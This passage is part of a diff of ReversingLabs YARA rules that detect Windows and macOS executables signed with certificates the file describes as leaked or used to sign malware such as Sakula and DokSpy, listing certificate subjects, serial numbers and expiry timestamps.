malware." + description = "Certificate used for digitally signing Sakula malware." author = "ReversingLabs" - id = "70fc063e-f032-5e63-ae53-65a25d5a29c3" + id = "9cc0e518-84c8-5b23-b8cb-e0e0fe7849bd" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8092-L8108" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2104-L2120" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7752e49e8848863d78c5de03c3d194498765d80da00a84c5164c7a9010d13474" + logic_hash = "dac3b6b7609ec1e82afe4f9c6c14e2d32b6f5d8d49c59d6c605f2a94d71bc107" score = 75 quality = 90 tags = "INFO, FILE" @@ -18125,21 +40519,21 @@ rule REVERSINGLABS_Cert_Blocklist_2C1Ee9B583310B5E34A1Ee6945A34B26 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Artmarket" and pe.signatures [ i ] . serial == "2c:1e:e9:b5:83:31:0b:5e:34:a1:ee:69:45:a3:4b:26" and 1607558400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "U-Tech IT service" and pe.signatures [ i ] . serial == "3a:c1:0e:68:f1:ce:51:9e:84:dd:cd:28:b1:1f:a5:42" and 1420156799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D875B3E3F2Db6C3Eb426E24946066111 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_31062E483E0106B18C982F0053185C36 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing Sakula malware." author = "ReversingLabs" - id = "4aedeb77-181b-5422-bec4-93c84412bae4" + id = "84bce7c1-efba-5a76-8865-dcfcc8e50d41" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8110-L8128" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2122-L2138" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9e181271d46c828b9ec266331e077b3b4891a193c71173447da383fad91ae878" + logic_hash = "e45fc5b4d1b9f5cd35c56aad381e26e30675a9d99747cd318f3c77ea2af0e14a" score = 75 quality = 90 tags = "INFO, FILE" @@ -18149,21 +40543,21 @@ rule REVERSINGLABS_Cert_Blocklist_D875B3E3F2Db6C3Eb426E24946066111 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kubit LLC" and ( pe.signatures [ i ] . serial == "00:d8:75:b3:e3:f2:db:6c:3e:b4:26:e2:49:46:06:61:11" or pe.signatures [ i ] . serial == "d8:75:b3:e3:f2:db:6c:3e:b4:26:e2:49:46:06:61:11" ) and 1606953600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MICRO DIGITAL INC." and pe.signatures [ i ] . serial == "31:06:2e:48:3e:01:06:b1:8c:98:2f:00:53:18:5c:36" and 1332287999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ad0A958Cdf188Bed43154A54Bf23Afba : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_20D0Ee42Fc901E6B3A8Fefe8C1E6087A : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing Sakula malware." author = "ReversingLabs" - id = "183d9d02-885b-5f2f-b455-dd72af7bc5a6" + id = "ba37919a-584b-5ff7-b4d5-5b711cc87b1f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8130-L8148" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2140-L2156" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "07e53e59f90aa3cd3a98dbca2627672606f6c6f8f3bda8456e32122463729c4b" + logic_hash = "2225302de1e8fe9f2ad064e19b2b1d9faf90c7cafbebff6ddd0921bf57c5f9e6" score = 75 quality = 90 tags = "INFO, FILE" @@ -18173,21 +40567,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ad0A958Cdf188Bed43154A54Bf23Afba : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RHM Ltd" and ( pe.signatures [ i ] . serial == "00:ad:0a:95:8c:df:18:8b:ed:43:15:4a:54:bf:23:af:ba" or pe.signatures [ i ] . serial == "ad:0a:95:8c:df:18:8b:ed:43:15:4a:54:bf:23:af:ba" ) and 1612915200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SJ SYSTEM" and pe.signatures [ i ] . serial == "20:d0:ee:42:fc:90:1e:6b:3a:8f:ef:e8:c1:e6:08:7a" and 1391299199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3Cee26C125B8C188F316C3Fa78D9C2F1 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_127251B32B9A50Bd : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing OSX DokSpy backdoor." author = "ReversingLabs" - id = "79989b9b-60e4-577d-97e2-cb447c38baf3" + id = "3581085c-a6e7-571f-8253-f8d9e90e78fc" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8150-L8166" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2158-L2174" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5c64f8e40c31822ce8d2e34f96ccc977085e429f0c068a5f6b44099117837de1" + logic_hash = "8552ce9e9ab8d6b1025ab3c6e7b2485ef855236114c426475fde0b5f2e231ec9" score = 75 quality = 90 tags = "INFO, FILE" @@ -18197,21 +40591,21 @@ rule REVERSINGLABS_Cert_Blocklist_3Cee26C125B8C188F316C3Fa78D9C2F1 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Bitubit LLC" and pe.signatures [ i ] . serial == "3c:ee:26:c1:25:b8:c1:88:f3:16:c3:fa:78:d9:c2:f1" and 1606435200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Developer ID Application: Edouard Roulet (W7J9LRHXTG)" and pe.signatures [ i ] . serial == "12:72:51:b3:2b:9a:50:bd" and 1493769599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4C687A0022C36F89E253F91D1F6954E2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_48Cad4E6966E22D6 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing OSX DokSpy backdoor." author = "ReversingLabs" - id = "c45a2125-dd7c-5ff1-89a8-35cbe1d924d7" + id = "22d62d7e-3f76-5f6b-a3f1-a6b087fb63e2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8168-L8184" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2176-L2192" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "287c0c7a25e33e0e7def6efa23dbd2efba7c4ac3aa8f5deb8568a60a95e08bbe" + logic_hash = "7733b8a97d9f3538db04309a2e3f9df6cb64930b0b6f7f241c3e629be2dd7804" score = 75 quality = 90 tags = "INFO, FILE" @@ -18221,21 +40615,21 @@ rule REVERSINGLABS_Cert_Blocklist_4C687A0022C36F89E253F91D1F6954E2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HETCO ApS" and pe.signatures [ i ] . serial == "4c:68:7a:00:22:c3:6f:89:e2:53:f9:1d:1f:69:54:e2" and 1606780800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Developer ID Application: Seven Muller (FUP9692NN6)" and pe.signatures [ i ] . serial == "48:ca:d4:e6:96:6e:22:d6" and 1492732799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ca646B4275406Df639Cf603756F63D77 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5E15205F180442Cc6C3C0F03E1A33D9F : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "b176b7f8-e3d1-593c-91c3-03e781f6ef7b" + id = "4a0d995a-37df-52a4-a66f-4bc6c290c10a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8186-L8204" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2194-L2210" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a690e3f6a656835984e47d999271fe441a5fbf424208da8d5b3c9ddcef47b70e" + logic_hash = "1ca238b5da4ff9940425c99f55542c931ccdf0ea3b0a2acbf00ffbbb54171ae0" score = 75 quality = 90 tags = "INFO, FILE" @@ -18245,21 +40639,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ca646B4275406Df639Cf603756F63D77 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SHOECORP LIMITED" and ( pe.signatures [ i ] . serial == "00:ca:64:6b:42:75:40:6d:f6:39:cf:60:37:56:f6:3d:77" or pe.signatures [ i ] . serial == "ca:64:6b:42:75:40:6d:f6:39:cf:60:37:56:f6:3d:77" ) and 1605830400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ziber Ltd" and pe.signatures [ i ] . serial == "5e:15:20:5f:18:04:42:cc:6c:3c:0f:03:e1:a3:3d:9f" and 1498607999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Addbec454B5479Cabd940A72Df4500Af : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4C8E3B1613F73542F7106F272094Eb23 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "f2488d44-5a9a-5ab6-be6f-f3444f72444a" + id = "06f79efe-134e-5941-80fe-3b6482ac9668" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8206-L8224" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2212-L2228" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "799629791646c524d170b900339b87474aed73b7156a8c4dd20f7c13cbe97929" + logic_hash = "15c21b783409d904a0b4971dbdcbd0740083d13f3c633ee77c87df46d3aca748" score = 75 quality = 90 tags = "INFO, FILE" @@ -18269,21 +40663,21 @@ rule REVERSINGLABS_Cert_Blocklist_Addbec454B5479Cabd940A72Df4500Af : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SHAT LIMITED" and ( pe.signatures [ i ] . serial == "00:ad:db:ec:45:4b:54:79:ca:bd:94:0a:72:df:45:00:af" or pe.signatures [ i ] . serial == "ad:db:ec:45:4b:54:79:ca:bd:94:0a:72:df:45:00:af" ) and 1612828800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ADD Audit" and pe.signatures [ i ] . serial == "4c:8e:3b:16:13:f7:35:42:f7:10:6f:27:20:94:eb:23" and 1472687999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ac307E5257Bb814B818D3633B630326F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2Ce2Bd0Ad3Cfde9Ea73Eec7Ca30400Da : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "c33d798a-854c-5fab-afbe-e94d142befa7" + id = "b7439b38-c8b7-5dcb-8d10-952862ce3465" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8226-L8244" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2230-L2246" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "10819bd2194fface6db812f8c6770c306c183386d2d9ba97467a5b55fd997194" + logic_hash = "a879ecd957acd29e8a5bad6c97cd10453ab857949680b522735bd77eb561d2ee" score = 75 quality = 90 tags = "INFO, FILE" @@ -18293,21 +40687,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ac307E5257Bb814B818D3633B630326F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Aqua Direct s.r.o." and ( pe.signatures [ i ] . serial == "00:ac:30:7e:52:57:bb:81:4b:81:8d:36:33:b6:30:32:6f" or pe.signatures [ i ] . serial == "ac:30:7e:52:57:bb:81:4b:81:8d:36:33:b6:30:32:6f" ) and 1606089600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Media Lid" and pe.signatures [ i ] . serial == "2c:e2:bd:0a:d3:cf:de:9e:a7:3e:ec:7c:a3:04:00:da" and 1493337599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0D83E7F47189Cdbfc7Fa3E5F58882329 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0Fbc30Db127A536C34D7A0Fa81B48193 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "d6bda332-06fc-5b1a-99fb-fc9578dc5326" + id = "c755a6c1-e113-5513-9a61-87bf6d7dcb3e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8246-L8262" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2248-L2264" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b344f9fd6d8378b7d77a34b14c5f37eea253f3d13a8eb0777925f195fb3cf502" + logic_hash = "6b109b5636aa297a6e07f9d9213f7f07a7767b58442d03dc2f34f8a9b3eaba2b" score = 75 quality = 90 tags = "INFO, FILE" @@ -18317,21 +40711,21 @@ rule REVERSINGLABS_Cert_Blocklist_0D83E7F47189Cdbfc7Fa3E5F58882329 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THE WIZARD GIFT CORPORATION" and pe.signatures [ i ] . serial == "0d:83:e7:f4:71:89:cd:bf:c7:fa:3e:5f:58:88:23:29" and 1605830400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Megabit, OOO" and pe.signatures [ i ] . serial == "0f:bc:30:db:12:7a:53:6c:34:d7:a0:fa:81:b4:81:93" and 1466121599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_58Aa64564A50E8B2D6E31D5Cd6250Fde : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_08448Bd6Ee9105Ae31228Ea5Fe496F63 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "00e096f6-2955-5936-9a75-f537c2da3621" + id = "489ffe25-43cf-55b6-b249-17d251b9774e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8264-L8280" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2266-L2282" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f6b50ebf707b67650fe832d81c6fe8d2411cd83432ef94432d181db0c29aa48b" + logic_hash = "9bc044b4fdf381274a2c31bc997dcdfd553595d92de7b33dc472353a00011711" score = 75 quality = 90 tags = "INFO, FILE" @@ -18341,21 +40735,21 @@ rule REVERSINGLABS_Cert_Blocklist_58Aa64564A50E8B2D6E31D5Cd6250Fde : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Foreground" and pe.signatures [ i ] . serial == "58:aa:64:56:4a:50:e8:b2:d6:e3:1d:5c:d6:25:0f:de" and 1609002028 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Raffaele Carnacina" and pe.signatures [ i ] . serial == "08:44:8b:d6:ee:91:05:ae:31:22:8e:a5:fe:49:6f:63" and 1445212799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2Aa0Ae245B487C8926C88Ee6D736D1Ca : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_02F17566Ef568Dc06C9A379Ea2F4Faea : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "d2d61fd7-2392-5d75-9c5b-4e4fddfc7a83" + id = "a14e16ff-844c-53ff-9297-8760265da747" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8282-L8298" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2284-L2300" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5a362175600552983ae838ca18aa378dc748b8b68bd8b67a9387794d983ed1a2" + logic_hash = "e3ec8a6de817354862880301e78a999f45f02c2fa8512bba6d27c9776f1a3417" score = 75 quality = 90 tags = "INFO, FILE" @@ -18365,21 +40759,21 @@ rule REVERSINGLABS_Cert_Blocklist_2Aa0Ae245B487C8926C88Ee6D736D1Ca : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PILOTE SPRL" and pe.signatures [ i ] . serial == "2a:a0:ae:24:5b:48:7c:89:26:c8:8e:e6:d7:36:d1:ca" and 1612262280 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VALERIANO BEDESCHI" and pe.signatures [ i ] . serial == "02:f1:75:66:ef:56:8d:c0:6c:9a:37:9e:a2:f4:fa:ea" and 1441324799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1Aec3D3F752A38617C1D7A677D0B5591 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7D824Ba1F7F730319C50D64C9A7Ed507 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "02f2bf36-e573-502c-8ecc-843a6e627c2b" + id = "4372aea7-a25b-5211-befd-9e0bcfb09199" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8300-L8316" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2302-L2318" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b299833a19944ca6943ba9c974ec95369c57cd61acc8b2e1b5310edd077762c2" + logic_hash = "407611603974c910d9a6a0ed71ecdf54ddcc59abb0f48c60846e61d6d4191933" score = 75 quality = 90 tags = "INFO, FILE" @@ -18389,21 +40783,21 @@ rule REVERSINGLABS_Cert_Blocklist_1Aec3D3F752A38617C1D7A677D0B5591 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SILVER d.o.o." and pe.signatures [ i ] . serial == "1a:ec:3d:3f:75:2a:38:61:7c:1d:7a:67:7d:0b:55:91" and 1611705600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "joaweb" and pe.signatures [ i ] . serial == "7d:82:4b:a1:f7:f7:30:31:9c:50:d6:4c:9a:7e:d5:07" and 1238025599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_A7E1Dc5352C3852C5523030F57F2425C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_77A64759F12766E363D779998C71Bdc9 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a2795796-2897-55ad-936c-456c3b93bf14" + id = "98acd01b-c452-530d-8814-2591810ecd53" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8318-L8336" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2320-L2336" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "79c42c9a4eeeb69a62a16590e2b0b63818785509a40d543c7efe27ec6baaa19e" + logic_hash = "2bf3d99ddec6b76da1ca60a9285767a5b34b84455db58195fc5d8fd8a22c9f8a" score = 75 quality = 90 tags = "INFO, FILE" @@ -18413,21 +40807,21 @@ rule REVERSINGLABS_Cert_Blocklist_A7E1Dc5352C3852C5523030F57F2425C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Pushka LLC" and ( pe.signatures [ i ] . serial == "00:a7:e1:dc:53:52:c3:85:2c:55:23:03:0f:57:f2:42:5c" or pe.signatures [ i ] . serial == "a7:e1:dc:53:52:c3:85:2c:55:23:03:0f:57:f2:42:5c" ) and 1611792000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Gigabit Times Technology Co., Ltd" and pe.signatures [ i ] . serial == "77:a6:47:59:f1:27:66:e3:63:d7:79:99:8c:71:bd:c9" and 1301011199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Bbd4Dc3768A51Aa2B3059C1Bad569276 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0B0D17Ec1449B4B2D38Fcb0F20Fbcd3A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ee861c79-fea2-5931-873d-b76e5bdef593" + id = "4484b00d-8fad-5f8f-9030-67216f2820a3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8338-L8356" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2338-L2354" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f336570834e0663c6e589fa22b3541f4f79c40ff945dd91f1fd1258a96adeceb" + logic_hash = "3121f2c49d0d4c396023924521f2c980045b6f07d082e49447429e9cd640e0ef" score = 75 quality = 90 tags = "INFO, FILE" @@ -18437,21 +40831,21 @@ rule REVERSINGLABS_Cert_Blocklist_Bbd4Dc3768A51Aa2B3059C1Bad569276 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "JJ ELECTRICAL SERVICES LIMITED" and ( pe.signatures [ i ] . serial == "00:bb:d4:dc:37:68:a5:1a:a2:b3:05:9c:1b:ad:56:92:76" or pe.signatures [ i ] . serial == "bb:d4:dc:37:68:a5:1a:a2:b3:05:9c:1b:ad:56:92:76" ) and 1607472000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "WEBPIC DESENVOLVIMENTO DE SOFTWARE LTDA" and pe.signatures [ i ] . serial == "0b:0d:17:ec:14:49:b4:b2:d3:8f:cb:0f:20:fb:cd:3a" and 1394150399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_08622B9Dd9D78E67678Ecc21E026522E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Fe9404Dc73Cf1C2Ba1450B8398305557 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "66d942c7-ceb9-54e5-bccc-1adf641fd70e" + id = "17700719-81ea-58d4-87f5-4d5c1b19bf64" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8358-L8374" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2356-L2374" license_url = 